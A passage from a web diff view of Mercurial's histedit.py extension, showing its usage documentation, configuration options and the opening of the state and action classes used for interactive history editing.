##// END OF EJS Templates
pycompat: stop setting LC_CTYPE unconditionally...
Manuel Jacob -
r45545:90409803 default draft
parent child Browse files
Show More
@@ -1,2640 +1,2641 b''
1 # histedit.py - interactive history editing for mercurial
1 # histedit.py - interactive history editing for mercurial
2 #
2 #
3 # Copyright 2009 Augie Fackler <raf@durin42.com>
3 # Copyright 2009 Augie Fackler <raf@durin42.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 """interactive history editing
7 """interactive history editing
8
8
9 With this extension installed, Mercurial gains one new command: histedit. Usage
9 With this extension installed, Mercurial gains one new command: histedit. Usage
10 is as follows, assuming the following history::
10 is as follows, assuming the following history::
11
11
12 @ 3[tip] 7c2fd3b9020c 2009-04-27 18:04 -0500 durin42
12 @ 3[tip] 7c2fd3b9020c 2009-04-27 18:04 -0500 durin42
13 | Add delta
13 | Add delta
14 |
14 |
15 o 2 030b686bedc4 2009-04-27 18:04 -0500 durin42
15 o 2 030b686bedc4 2009-04-27 18:04 -0500 durin42
16 | Add gamma
16 | Add gamma
17 |
17 |
18 o 1 c561b4e977df 2009-04-27 18:04 -0500 durin42
18 o 1 c561b4e977df 2009-04-27 18:04 -0500 durin42
19 | Add beta
19 | Add beta
20 |
20 |
21 o 0 d8d2fcd0e319 2009-04-27 18:04 -0500 durin42
21 o 0 d8d2fcd0e319 2009-04-27 18:04 -0500 durin42
22 Add alpha
22 Add alpha
23
23
24 If you were to run ``hg histedit c561b4e977df``, you would see the following
24 If you were to run ``hg histedit c561b4e977df``, you would see the following
25 file open in your editor::
25 file open in your editor::
26
26
27 pick c561b4e977df Add beta
27 pick c561b4e977df Add beta
28 pick 030b686bedc4 Add gamma
28 pick 030b686bedc4 Add gamma
29 pick 7c2fd3b9020c Add delta
29 pick 7c2fd3b9020c Add delta
30
30
31 # Edit history between c561b4e977df and 7c2fd3b9020c
31 # Edit history between c561b4e977df and 7c2fd3b9020c
32 #
32 #
33 # Commits are listed from least to most recent
33 # Commits are listed from least to most recent
34 #
34 #
35 # Commands:
35 # Commands:
36 # p, pick = use commit
36 # p, pick = use commit
37 # e, edit = use commit, but stop for amending
37 # e, edit = use commit, but stop for amending
38 # f, fold = use commit, but combine it with the one above
38 # f, fold = use commit, but combine it with the one above
39 # r, roll = like fold, but discard this commit's description and date
39 # r, roll = like fold, but discard this commit's description and date
40 # d, drop = remove commit from history
40 # d, drop = remove commit from history
41 # m, mess = edit commit message without changing commit content
41 # m, mess = edit commit message without changing commit content
42 # b, base = checkout changeset and apply further changesets from there
42 # b, base = checkout changeset and apply further changesets from there
43 #
43 #
44
44
45 In this file, lines beginning with ``#`` are ignored. You must specify a rule
45 In this file, lines beginning with ``#`` are ignored. You must specify a rule
46 for each revision in your history. For example, if you had meant to add gamma
46 for each revision in your history. For example, if you had meant to add gamma
47 before beta, and then wanted to add delta in the same revision as beta, you
47 before beta, and then wanted to add delta in the same revision as beta, you
48 would reorganize the file to look like this::
48 would reorganize the file to look like this::
49
49
50 pick 030b686bedc4 Add gamma
50 pick 030b686bedc4 Add gamma
51 pick c561b4e977df Add beta
51 pick c561b4e977df Add beta
52 fold 7c2fd3b9020c Add delta
52 fold 7c2fd3b9020c Add delta
53
53
54 # Edit history between c561b4e977df and 7c2fd3b9020c
54 # Edit history between c561b4e977df and 7c2fd3b9020c
55 #
55 #
56 # Commits are listed from least to most recent
56 # Commits are listed from least to most recent
57 #
57 #
58 # Commands:
58 # Commands:
59 # p, pick = use commit
59 # p, pick = use commit
60 # e, edit = use commit, but stop for amending
60 # e, edit = use commit, but stop for amending
61 # f, fold = use commit, but combine it with the one above
61 # f, fold = use commit, but combine it with the one above
62 # r, roll = like fold, but discard this commit's description and date
62 # r, roll = like fold, but discard this commit's description and date
63 # d, drop = remove commit from history
63 # d, drop = remove commit from history
64 # m, mess = edit commit message without changing commit content
64 # m, mess = edit commit message without changing commit content
65 # b, base = checkout changeset and apply further changesets from there
65 # b, base = checkout changeset and apply further changesets from there
66 #
66 #
67
67
68 At which point you close the editor and ``histedit`` starts working. When you
68 At which point you close the editor and ``histedit`` starts working. When you
69 specify a ``fold`` operation, ``histedit`` will open an editor when it folds
69 specify a ``fold`` operation, ``histedit`` will open an editor when it folds
70 those revisions together, offering you a chance to clean up the commit message::
70 those revisions together, offering you a chance to clean up the commit message::
71
71
72 Add beta
72 Add beta
73 ***
73 ***
74 Add delta
74 Add delta
75
75
76 Edit the commit message to your liking, then close the editor. The date used
76 Edit the commit message to your liking, then close the editor. The date used
77 for the commit will be the later of the two commits' dates. For this example,
77 for the commit will be the later of the two commits' dates. For this example,
78 let's assume that the commit message was changed to ``Add beta and delta.``
78 let's assume that the commit message was changed to ``Add beta and delta.``
79 After histedit has run and had a chance to remove any old or temporary
79 After histedit has run and had a chance to remove any old or temporary
80 revisions it needed, the history looks like this::
80 revisions it needed, the history looks like this::
81
81
82 @ 2[tip] 989b4d060121 2009-04-27 18:04 -0500 durin42
82 @ 2[tip] 989b4d060121 2009-04-27 18:04 -0500 durin42
83 | Add beta and delta.
83 | Add beta and delta.
84 |
84 |
85 o 1 081603921c3f 2009-04-27 18:04 -0500 durin42
85 o 1 081603921c3f 2009-04-27 18:04 -0500 durin42
86 | Add gamma
86 | Add gamma
87 |
87 |
88 o 0 d8d2fcd0e319 2009-04-27 18:04 -0500 durin42
88 o 0 d8d2fcd0e319 2009-04-27 18:04 -0500 durin42
89 Add alpha
89 Add alpha
90
90
91 Note that ``histedit`` does *not* remove any revisions (even its own temporary
91 Note that ``histedit`` does *not* remove any revisions (even its own temporary
92 ones) until after it has completed all the editing operations, so it will
92 ones) until after it has completed all the editing operations, so it will
93 probably perform several strip operations when it's done. For the above example,
93 probably perform several strip operations when it's done. For the above example,
94 it had to run strip twice. Strip can be slow depending on a variety of factors,
94 it had to run strip twice. Strip can be slow depending on a variety of factors,
95 so you might need to be a little patient. You can choose to keep the original
95 so you might need to be a little patient. You can choose to keep the original
96 revisions by passing the ``--keep`` flag.
96 revisions by passing the ``--keep`` flag.
97
97
98 The ``edit`` operation will drop you back to a command prompt,
98 The ``edit`` operation will drop you back to a command prompt,
99 allowing you to edit files freely, or even use ``hg record`` to commit
99 allowing you to edit files freely, or even use ``hg record`` to commit
100 some changes as a separate commit. When you're done, any remaining
100 some changes as a separate commit. When you're done, any remaining
101 uncommitted changes will be committed as well. When done, run ``hg
101 uncommitted changes will be committed as well. When done, run ``hg
102 histedit --continue`` to finish this step. If there are uncommitted
102 histedit --continue`` to finish this step. If there are uncommitted
103 changes, you'll be prompted for a new commit message, but the default
103 changes, you'll be prompted for a new commit message, but the default
104 commit message will be the original message for the ``edit`` ed
104 commit message will be the original message for the ``edit`` ed
105 revision, and the date of the original commit will be preserved.
105 revision, and the date of the original commit will be preserved.
106
106
107 The ``message`` operation will give you a chance to revise a commit
107 The ``message`` operation will give you a chance to revise a commit
108 message without changing the contents. It's a shortcut for doing
108 message without changing the contents. It's a shortcut for doing
109 ``edit`` immediately followed by `hg histedit --continue``.
109 ``edit`` immediately followed by `hg histedit --continue``.
110
110
111 If ``histedit`` encounters a conflict when moving a revision (while
111 If ``histedit`` encounters a conflict when moving a revision (while
112 handling ``pick`` or ``fold``), it'll stop in a similar manner to
112 handling ``pick`` or ``fold``), it'll stop in a similar manner to
113 ``edit`` with the difference that it won't prompt you for a commit
113 ``edit`` with the difference that it won't prompt you for a commit
114 message when done. If you decide at this point that you don't like how
114 message when done. If you decide at this point that you don't like how
115 much work it will be to rearrange history, or that you made a mistake,
115 much work it will be to rearrange history, or that you made a mistake,
116 you can use ``hg histedit --abort`` to abandon the new changes you
116 you can use ``hg histedit --abort`` to abandon the new changes you
117 have made and return to the state before you attempted to edit your
117 have made and return to the state before you attempted to edit your
118 history.
118 history.
119
119
120 If we clone the histedit-ed example repository above and add four more
120 If we clone the histedit-ed example repository above and add four more
121 changes, such that we have the following history::
121 changes, such that we have the following history::
122
122
123 @ 6[tip] 038383181893 2009-04-27 18:04 -0500 stefan
123 @ 6[tip] 038383181893 2009-04-27 18:04 -0500 stefan
124 | Add theta
124 | Add theta
125 |
125 |
126 o 5 140988835471 2009-04-27 18:04 -0500 stefan
126 o 5 140988835471 2009-04-27 18:04 -0500 stefan
127 | Add eta
127 | Add eta
128 |
128 |
129 o 4 122930637314 2009-04-27 18:04 -0500 stefan
129 o 4 122930637314 2009-04-27 18:04 -0500 stefan
130 | Add zeta
130 | Add zeta
131 |
131 |
132 o 3 836302820282 2009-04-27 18:04 -0500 stefan
132 o 3 836302820282 2009-04-27 18:04 -0500 stefan
133 | Add epsilon
133 | Add epsilon
134 |
134 |
135 o 2 989b4d060121 2009-04-27 18:04 -0500 durin42
135 o 2 989b4d060121 2009-04-27 18:04 -0500 durin42
136 | Add beta and delta.
136 | Add beta and delta.
137 |
137 |
138 o 1 081603921c3f 2009-04-27 18:04 -0500 durin42
138 o 1 081603921c3f 2009-04-27 18:04 -0500 durin42
139 | Add gamma
139 | Add gamma
140 |
140 |
141 o 0 d8d2fcd0e319 2009-04-27 18:04 -0500 durin42
141 o 0 d8d2fcd0e319 2009-04-27 18:04 -0500 durin42
142 Add alpha
142 Add alpha
143
143
144 If you run ``hg histedit --outgoing`` on the clone then it is the same
144 If you run ``hg histedit --outgoing`` on the clone then it is the same
145 as running ``hg histedit 836302820282``. If you need plan to push to a
145 as running ``hg histedit 836302820282``. If you need plan to push to a
146 repository that Mercurial does not detect to be related to the source
146 repository that Mercurial does not detect to be related to the source
147 repo, you can add a ``--force`` option.
147 repo, you can add a ``--force`` option.
148
148
149 Config
149 Config
150 ------
150 ------
151
151
152 Histedit rule lines are truncated to 80 characters by default. You
152 Histedit rule lines are truncated to 80 characters by default. You
153 can customize this behavior by setting a different length in your
153 can customize this behavior by setting a different length in your
154 configuration file::
154 configuration file::
155
155
156 [histedit]
156 [histedit]
157 linelen = 120 # truncate rule lines at 120 characters
157 linelen = 120 # truncate rule lines at 120 characters
158
158
159 The summary of a change can be customized as well::
159 The summary of a change can be customized as well::
160
160
161 [histedit]
161 [histedit]
162 summary-template = '{rev} {bookmarks} {desc|firstline}'
162 summary-template = '{rev} {bookmarks} {desc|firstline}'
163
163
164 The customized summary should be kept short enough that rule lines
164 The customized summary should be kept short enough that rule lines
165 will fit in the configured line length. See above if that requires
165 will fit in the configured line length. See above if that requires
166 customization.
166 customization.
167
167
168 ``hg histedit`` attempts to automatically choose an appropriate base
168 ``hg histedit`` attempts to automatically choose an appropriate base
169 revision to use. To change which base revision is used, define a
169 revision to use. To change which base revision is used, define a
170 revset in your configuration file::
170 revset in your configuration file::
171
171
172 [histedit]
172 [histedit]
173 defaultrev = only(.) & draft()
173 defaultrev = only(.) & draft()
174
174
175 By default each edited revision needs to be present in histedit commands.
175 By default each edited revision needs to be present in histedit commands.
176 To remove revision you need to use ``drop`` operation. You can configure
176 To remove revision you need to use ``drop`` operation. You can configure
177 the drop to be implicit for missing commits by adding::
177 the drop to be implicit for missing commits by adding::
178
178
179 [histedit]
179 [histedit]
180 dropmissing = True
180 dropmissing = True
181
181
182 By default, histedit will close the transaction after each action. For
182 By default, histedit will close the transaction after each action. For
183 performance purposes, you can configure histedit to use a single transaction
183 performance purposes, you can configure histedit to use a single transaction
184 across the entire histedit. WARNING: This setting introduces a significant risk
184 across the entire histedit. WARNING: This setting introduces a significant risk
185 of losing the work you've done in a histedit if the histedit aborts
185 of losing the work you've done in a histedit if the histedit aborts
186 unexpectedly::
186 unexpectedly::
187
187
188 [histedit]
188 [histedit]
189 singletransaction = True
189 singletransaction = True
190
190
191 """
191 """
192
192
193 from __future__ import absolute_import
193 from __future__ import absolute_import
194
194
195 # chistedit dependencies that are not available everywhere
195 # chistedit dependencies that are not available everywhere
196 try:
196 try:
197 import fcntl
197 import fcntl
198 import termios
198 import termios
199 except ImportError:
199 except ImportError:
200 fcntl = None
200 fcntl = None
201 termios = None
201 termios = None
202
202
203 import functools
203 import functools
204 import os
204 import os
205 import struct
205 import struct
206
206
207 from mercurial.i18n import _
207 from mercurial.i18n import _
208 from mercurial.pycompat import (
208 from mercurial.pycompat import (
209 getattr,
209 getattr,
210 open,
210 open,
211 )
211 )
212 from mercurial import (
212 from mercurial import (
213 bundle2,
213 bundle2,
214 cmdutil,
214 cmdutil,
215 context,
215 context,
216 copies,
216 copies,
217 destutil,
217 destutil,
218 discovery,
218 discovery,
219 encoding,
219 encoding,
220 error,
220 error,
221 exchange,
221 exchange,
222 extensions,
222 extensions,
223 hg,
223 hg,
224 logcmdutil,
224 logcmdutil,
225 merge as mergemod,
225 merge as mergemod,
226 mergestate as mergestatemod,
226 mergestate as mergestatemod,
227 mergeutil,
227 mergeutil,
228 node,
228 node,
229 obsolete,
229 obsolete,
230 pycompat,
230 pycompat,
231 registrar,
231 registrar,
232 repair,
232 repair,
233 rewriteutil,
233 rewriteutil,
234 scmutil,
234 scmutil,
235 state as statemod,
235 state as statemod,
236 util,
236 util,
237 )
237 )
238 from mercurial.utils import (
238 from mercurial.utils import (
239 dateutil,
239 dateutil,
240 stringutil,
240 stringutil,
241 )
241 )
242
242
243 pickle = util.pickle
243 pickle = util.pickle
244 cmdtable = {}
244 cmdtable = {}
245 command = registrar.command(cmdtable)
245 command = registrar.command(cmdtable)
246
246
247 configtable = {}
247 configtable = {}
248 configitem = registrar.configitem(configtable)
248 configitem = registrar.configitem(configtable)
249 configitem(
249 configitem(
250 b'experimental', b'histedit.autoverb', default=False,
250 b'experimental', b'histedit.autoverb', default=False,
251 )
251 )
252 configitem(
252 configitem(
253 b'histedit', b'defaultrev', default=None,
253 b'histedit', b'defaultrev', default=None,
254 )
254 )
255 configitem(
255 configitem(
256 b'histedit', b'dropmissing', default=False,
256 b'histedit', b'dropmissing', default=False,
257 )
257 )
258 configitem(
258 configitem(
259 b'histedit', b'linelen', default=80,
259 b'histedit', b'linelen', default=80,
260 )
260 )
261 configitem(
261 configitem(
262 b'histedit', b'singletransaction', default=False,
262 b'histedit', b'singletransaction', default=False,
263 )
263 )
264 configitem(
264 configitem(
265 b'ui', b'interface.histedit', default=None,
265 b'ui', b'interface.histedit', default=None,
266 )
266 )
267 configitem(b'histedit', b'summary-template', default=b'{rev} {desc|firstline}')
267 configitem(b'histedit', b'summary-template', default=b'{rev} {desc|firstline}')
268
268
269 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
269 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
270 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
270 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
271 # be specifying the version(s) of Mercurial they are tested with, or
271 # be specifying the version(s) of Mercurial they are tested with, or
272 # leave the attribute unspecified.
272 # leave the attribute unspecified.
273 testedwith = b'ships-with-hg-core'
273 testedwith = b'ships-with-hg-core'
274
274
275 actiontable = {}
275 actiontable = {}
276 primaryactions = set()
276 primaryactions = set()
277 secondaryactions = set()
277 secondaryactions = set()
278 tertiaryactions = set()
278 tertiaryactions = set()
279 internalactions = set()
279 internalactions = set()
280
280
281
281
282 def geteditcomment(ui, first, last):
282 def geteditcomment(ui, first, last):
283 """ construct the editor comment
283 """ construct the editor comment
284 The comment includes::
284 The comment includes::
285 - an intro
285 - an intro
286 - sorted primary commands
286 - sorted primary commands
287 - sorted short commands
287 - sorted short commands
288 - sorted long commands
288 - sorted long commands
289 - additional hints
289 - additional hints
290
290
291 Commands are only included once.
291 Commands are only included once.
292 """
292 """
293 intro = _(
293 intro = _(
294 b"""Edit history between %s and %s
294 b"""Edit history between %s and %s
295
295
296 Commits are listed from least to most recent
296 Commits are listed from least to most recent
297
297
298 You can reorder changesets by reordering the lines
298 You can reorder changesets by reordering the lines
299
299
300 Commands:
300 Commands:
301 """
301 """
302 )
302 )
303 actions = []
303 actions = []
304
304
305 def addverb(v):
305 def addverb(v):
306 a = actiontable[v]
306 a = actiontable[v]
307 lines = a.message.split(b"\n")
307 lines = a.message.split(b"\n")
308 if len(a.verbs):
308 if len(a.verbs):
309 v = b', '.join(sorted(a.verbs, key=lambda v: len(v)))
309 v = b', '.join(sorted(a.verbs, key=lambda v: len(v)))
310 actions.append(b" %s = %s" % (v, lines[0]))
310 actions.append(b" %s = %s" % (v, lines[0]))
311 actions.extend([b' %s'] * (len(lines) - 1))
311 actions.extend([b' %s'] * (len(lines) - 1))
312
312
313 for v in (
313 for v in (
314 sorted(primaryactions)
314 sorted(primaryactions)
315 + sorted(secondaryactions)
315 + sorted(secondaryactions)
316 + sorted(tertiaryactions)
316 + sorted(tertiaryactions)
317 ):
317 ):
318 addverb(v)
318 addverb(v)
319 actions.append(b'')
319 actions.append(b'')
320
320
321 hints = []
321 hints = []
322 if ui.configbool(b'histedit', b'dropmissing'):
322 if ui.configbool(b'histedit', b'dropmissing'):
323 hints.append(
323 hints.append(
324 b"Deleting a changeset from the list "
324 b"Deleting a changeset from the list "
325 b"will DISCARD it from the edited history!"
325 b"will DISCARD it from the edited history!"
326 )
326 )
327
327
328 lines = (intro % (first, last)).split(b'\n') + actions + hints
328 lines = (intro % (first, last)).split(b'\n') + actions + hints
329
329
330 return b''.join([b'# %s\n' % l if l else b'#\n' for l in lines])
330 return b''.join([b'# %s\n' % l if l else b'#\n' for l in lines])
331
331
332
332
333 class histeditstate(object):
333 class histeditstate(object):
334 def __init__(self, repo):
334 def __init__(self, repo):
335 self.repo = repo
335 self.repo = repo
336 self.actions = None
336 self.actions = None
337 self.keep = None
337 self.keep = None
338 self.topmost = None
338 self.topmost = None
339 self.parentctxnode = None
339 self.parentctxnode = None
340 self.lock = None
340 self.lock = None
341 self.wlock = None
341 self.wlock = None
342 self.backupfile = None
342 self.backupfile = None
343 self.stateobj = statemod.cmdstate(repo, b'histedit-state')
343 self.stateobj = statemod.cmdstate(repo, b'histedit-state')
344 self.replacements = []
344 self.replacements = []
345
345
346 def read(self):
346 def read(self):
347 """Load histedit state from disk and set fields appropriately."""
347 """Load histedit state from disk and set fields appropriately."""
348 if not self.stateobj.exists():
348 if not self.stateobj.exists():
349 cmdutil.wrongtooltocontinue(self.repo, _(b'histedit'))
349 cmdutil.wrongtooltocontinue(self.repo, _(b'histedit'))
350
350
351 data = self._read()
351 data = self._read()
352
352
353 self.parentctxnode = data[b'parentctxnode']
353 self.parentctxnode = data[b'parentctxnode']
354 actions = parserules(data[b'rules'], self)
354 actions = parserules(data[b'rules'], self)
355 self.actions = actions
355 self.actions = actions
356 self.keep = data[b'keep']
356 self.keep = data[b'keep']
357 self.topmost = data[b'topmost']
357 self.topmost = data[b'topmost']
358 self.replacements = data[b'replacements']
358 self.replacements = data[b'replacements']
359 self.backupfile = data[b'backupfile']
359 self.backupfile = data[b'backupfile']
360
360
361 def _read(self):
361 def _read(self):
362 fp = self.repo.vfs.read(b'histedit-state')
362 fp = self.repo.vfs.read(b'histedit-state')
363 if fp.startswith(b'v1\n'):
363 if fp.startswith(b'v1\n'):
364 data = self._load()
364 data = self._load()
365 parentctxnode, rules, keep, topmost, replacements, backupfile = data
365 parentctxnode, rules, keep, topmost, replacements, backupfile = data
366 else:
366 else:
367 data = pickle.loads(fp)
367 data = pickle.loads(fp)
368 parentctxnode, rules, keep, topmost, replacements = data
368 parentctxnode, rules, keep, topmost, replacements = data
369 backupfile = None
369 backupfile = None
370 rules = b"\n".join([b"%s %s" % (verb, rest) for [verb, rest] in rules])
370 rules = b"\n".join([b"%s %s" % (verb, rest) for [verb, rest] in rules])
371
371
372 return {
372 return {
373 b'parentctxnode': parentctxnode,
373 b'parentctxnode': parentctxnode,
374 b"rules": rules,
374 b"rules": rules,
375 b"keep": keep,
375 b"keep": keep,
376 b"topmost": topmost,
376 b"topmost": topmost,
377 b"replacements": replacements,
377 b"replacements": replacements,
378 b"backupfile": backupfile,
378 b"backupfile": backupfile,
379 }
379 }
380
380
381 def write(self, tr=None):
381 def write(self, tr=None):
382 if tr:
382 if tr:
383 tr.addfilegenerator(
383 tr.addfilegenerator(
384 b'histedit-state',
384 b'histedit-state',
385 (b'histedit-state',),
385 (b'histedit-state',),
386 self._write,
386 self._write,
387 location=b'plain',
387 location=b'plain',
388 )
388 )
389 else:
389 else:
390 with self.repo.vfs(b"histedit-state", b"w") as f:
390 with self.repo.vfs(b"histedit-state", b"w") as f:
391 self._write(f)
391 self._write(f)
392
392
393 def _write(self, fp):
393 def _write(self, fp):
394 fp.write(b'v1\n')
394 fp.write(b'v1\n')
395 fp.write(b'%s\n' % node.hex(self.parentctxnode))
395 fp.write(b'%s\n' % node.hex(self.parentctxnode))
396 fp.write(b'%s\n' % node.hex(self.topmost))
396 fp.write(b'%s\n' % node.hex(self.topmost))
397 fp.write(b'%s\n' % (b'True' if self.keep else b'False'))
397 fp.write(b'%s\n' % (b'True' if self.keep else b'False'))
398 fp.write(b'%d\n' % len(self.actions))
398 fp.write(b'%d\n' % len(self.actions))
399 for action in self.actions:
399 for action in self.actions:
400 fp.write(b'%s\n' % action.tostate())
400 fp.write(b'%s\n' % action.tostate())
401 fp.write(b'%d\n' % len(self.replacements))
401 fp.write(b'%d\n' % len(self.replacements))
402 for replacement in self.replacements:
402 for replacement in self.replacements:
403 fp.write(
403 fp.write(
404 b'%s%s\n'
404 b'%s%s\n'
405 % (
405 % (
406 node.hex(replacement[0]),
406 node.hex(replacement[0]),
407 b''.join(node.hex(r) for r in replacement[1]),
407 b''.join(node.hex(r) for r in replacement[1]),
408 )
408 )
409 )
409 )
410 backupfile = self.backupfile
410 backupfile = self.backupfile
411 if not backupfile:
411 if not backupfile:
412 backupfile = b''
412 backupfile = b''
413 fp.write(b'%s\n' % backupfile)
413 fp.write(b'%s\n' % backupfile)
414
414
415 def _load(self):
415 def _load(self):
416 fp = self.repo.vfs(b'histedit-state', b'r')
416 fp = self.repo.vfs(b'histedit-state', b'r')
417 lines = [l[:-1] for l in fp.readlines()]
417 lines = [l[:-1] for l in fp.readlines()]
418
418
419 index = 0
419 index = 0
420 lines[index] # version number
420 lines[index] # version number
421 index += 1
421 index += 1
422
422
423 parentctxnode = node.bin(lines[index])
423 parentctxnode = node.bin(lines[index])
424 index += 1
424 index += 1
425
425
426 topmost = node.bin(lines[index])
426 topmost = node.bin(lines[index])
427 index += 1
427 index += 1
428
428
429 keep = lines[index] == b'True'
429 keep = lines[index] == b'True'
430 index += 1
430 index += 1
431
431
432 # Rules
432 # Rules
433 rules = []
433 rules = []
434 rulelen = int(lines[index])
434 rulelen = int(lines[index])
435 index += 1
435 index += 1
436 for i in pycompat.xrange(rulelen):
436 for i in pycompat.xrange(rulelen):
437 ruleaction = lines[index]
437 ruleaction = lines[index]
438 index += 1
438 index += 1
439 rule = lines[index]
439 rule = lines[index]
440 index += 1
440 index += 1
441 rules.append((ruleaction, rule))
441 rules.append((ruleaction, rule))
442
442
443 # Replacements
443 # Replacements
444 replacements = []
444 replacements = []
445 replacementlen = int(lines[index])
445 replacementlen = int(lines[index])
446 index += 1
446 index += 1
447 for i in pycompat.xrange(replacementlen):
447 for i in pycompat.xrange(replacementlen):
448 replacement = lines[index]
448 replacement = lines[index]
449 original = node.bin(replacement[:40])
449 original = node.bin(replacement[:40])
450 succ = [
450 succ = [
451 node.bin(replacement[i : i + 40])
451 node.bin(replacement[i : i + 40])
452 for i in range(40, len(replacement), 40)
452 for i in range(40, len(replacement), 40)
453 ]
453 ]
454 replacements.append((original, succ))
454 replacements.append((original, succ))
455 index += 1
455 index += 1
456
456
457 backupfile = lines[index]
457 backupfile = lines[index]
458 index += 1
458 index += 1
459
459
460 fp.close()
460 fp.close()
461
461
462 return parentctxnode, rules, keep, topmost, replacements, backupfile
462 return parentctxnode, rules, keep, topmost, replacements, backupfile
463
463
464 def clear(self):
464 def clear(self):
465 if self.inprogress():
465 if self.inprogress():
466 self.repo.vfs.unlink(b'histedit-state')
466 self.repo.vfs.unlink(b'histedit-state')
467
467
468 def inprogress(self):
468 def inprogress(self):
469 return self.repo.vfs.exists(b'histedit-state')
469 return self.repo.vfs.exists(b'histedit-state')
470
470
471
471
472 class histeditaction(object):
472 class histeditaction(object):
473 def __init__(self, state, node):
473 def __init__(self, state, node):
474 self.state = state
474 self.state = state
475 self.repo = state.repo
475 self.repo = state.repo
476 self.node = node
476 self.node = node
477
477
478 @classmethod
478 @classmethod
479 def fromrule(cls, state, rule):
479 def fromrule(cls, state, rule):
480 """Parses the given rule, returning an instance of the histeditaction.
480 """Parses the given rule, returning an instance of the histeditaction.
481 """
481 """
482 ruleid = rule.strip().split(b' ', 1)[0]
482 ruleid = rule.strip().split(b' ', 1)[0]
483 # ruleid can be anything from rev numbers, hashes, "bookmarks" etc
483 # ruleid can be anything from rev numbers, hashes, "bookmarks" etc
484 # Check for validation of rule ids and get the rulehash
484 # Check for validation of rule ids and get the rulehash
485 try:
485 try:
486 rev = node.bin(ruleid)
486 rev = node.bin(ruleid)
487 except TypeError:
487 except TypeError:
488 try:
488 try:
489 _ctx = scmutil.revsingle(state.repo, ruleid)
489 _ctx = scmutil.revsingle(state.repo, ruleid)
490 rulehash = _ctx.hex()
490 rulehash = _ctx.hex()
491 rev = node.bin(rulehash)
491 rev = node.bin(rulehash)
492 except error.RepoLookupError:
492 except error.RepoLookupError:
493 raise error.ParseError(_(b"invalid changeset %s") % ruleid)
493 raise error.ParseError(_(b"invalid changeset %s") % ruleid)
494 return cls(state, rev)
494 return cls(state, rev)
495
495
496 def verify(self, prev, expected, seen):
496 def verify(self, prev, expected, seen):
497 """ Verifies semantic correctness of the rule"""
497 """ Verifies semantic correctness of the rule"""
498 repo = self.repo
498 repo = self.repo
499 ha = node.hex(self.node)
499 ha = node.hex(self.node)
500 self.node = scmutil.resolvehexnodeidprefix(repo, ha)
500 self.node = scmutil.resolvehexnodeidprefix(repo, ha)
501 if self.node is None:
501 if self.node is None:
502 raise error.ParseError(_(b'unknown changeset %s listed') % ha[:12])
502 raise error.ParseError(_(b'unknown changeset %s listed') % ha[:12])
503 self._verifynodeconstraints(prev, expected, seen)
503 self._verifynodeconstraints(prev, expected, seen)
504
504
505 def _verifynodeconstraints(self, prev, expected, seen):
505 def _verifynodeconstraints(self, prev, expected, seen):
506 # by default command need a node in the edited list
506 # by default command need a node in the edited list
507 if self.node not in expected:
507 if self.node not in expected:
508 raise error.ParseError(
508 raise error.ParseError(
509 _(b'%s "%s" changeset was not a candidate')
509 _(b'%s "%s" changeset was not a candidate')
510 % (self.verb, node.short(self.node)),
510 % (self.verb, node.short(self.node)),
511 hint=_(b'only use listed changesets'),
511 hint=_(b'only use listed changesets'),
512 )
512 )
513 # and only one command per node
513 # and only one command per node
514 if self.node in seen:
514 if self.node in seen:
515 raise error.ParseError(
515 raise error.ParseError(
516 _(b'duplicated command for changeset %s')
516 _(b'duplicated command for changeset %s')
517 % node.short(self.node)
517 % node.short(self.node)
518 )
518 )
519
519
520 def torule(self):
520 def torule(self):
521 """build a histedit rule line for an action
521 """build a histedit rule line for an action
522
522
523 by default lines are in the form:
523 by default lines are in the form:
524 <hash> <rev> <summary>
524 <hash> <rev> <summary>
525 """
525 """
526 ctx = self.repo[self.node]
526 ctx = self.repo[self.node]
527 ui = self.repo.ui
527 ui = self.repo.ui
528 summary = (
528 summary = (
529 cmdutil.rendertemplate(
529 cmdutil.rendertemplate(
530 ctx, ui.config(b'histedit', b'summary-template')
530 ctx, ui.config(b'histedit', b'summary-template')
531 )
531 )
532 or b''
532 or b''
533 )
533 )
534 summary = summary.splitlines()[0]
534 summary = summary.splitlines()[0]
535 line = b'%s %s %s' % (self.verb, ctx, summary)
535 line = b'%s %s %s' % (self.verb, ctx, summary)
536 # trim to 75 columns by default so it's not stupidly wide in my editor
536 # trim to 75 columns by default so it's not stupidly wide in my editor
537 # (the 5 more are left for verb)
537 # (the 5 more are left for verb)
538 maxlen = self.repo.ui.configint(b'histedit', b'linelen')
538 maxlen = self.repo.ui.configint(b'histedit', b'linelen')
539 maxlen = max(maxlen, 22) # avoid truncating hash
539 maxlen = max(maxlen, 22) # avoid truncating hash
540 return stringutil.ellipsis(line, maxlen)
540 return stringutil.ellipsis(line, maxlen)
541
541
542 def tostate(self):
542 def tostate(self):
543 """Print an action in format used by histedit state files
543 """Print an action in format used by histedit state files
544 (the first line is a verb, the remainder is the second)
544 (the first line is a verb, the remainder is the second)
545 """
545 """
546 return b"%s\n%s" % (self.verb, node.hex(self.node))
546 return b"%s\n%s" % (self.verb, node.hex(self.node))
547
547
548 def run(self):
548 def run(self):
549 """Runs the action. The default behavior is simply apply the action's
549 """Runs the action. The default behavior is simply apply the action's
550 rulectx onto the current parentctx."""
550 rulectx onto the current parentctx."""
551 self.applychange()
551 self.applychange()
552 self.continuedirty()
552 self.continuedirty()
553 return self.continueclean()
553 return self.continueclean()
554
554
555 def applychange(self):
555 def applychange(self):
556 """Applies the changes from this action's rulectx onto the current
556 """Applies the changes from this action's rulectx onto the current
557 parentctx, but does not commit them."""
557 parentctx, but does not commit them."""
558 repo = self.repo
558 repo = self.repo
559 rulectx = repo[self.node]
559 rulectx = repo[self.node]
560 repo.ui.pushbuffer(error=True, labeled=True)
560 repo.ui.pushbuffer(error=True, labeled=True)
561 hg.update(repo, self.state.parentctxnode, quietempty=True)
561 hg.update(repo, self.state.parentctxnode, quietempty=True)
562 repo.ui.popbuffer()
562 repo.ui.popbuffer()
563 stats = applychanges(repo.ui, repo, rulectx, {})
563 stats = applychanges(repo.ui, repo, rulectx, {})
564 repo.dirstate.setbranch(rulectx.branch())
564 repo.dirstate.setbranch(rulectx.branch())
565 if stats.unresolvedcount:
565 if stats.unresolvedcount:
566 raise error.InterventionRequired(
566 raise error.InterventionRequired(
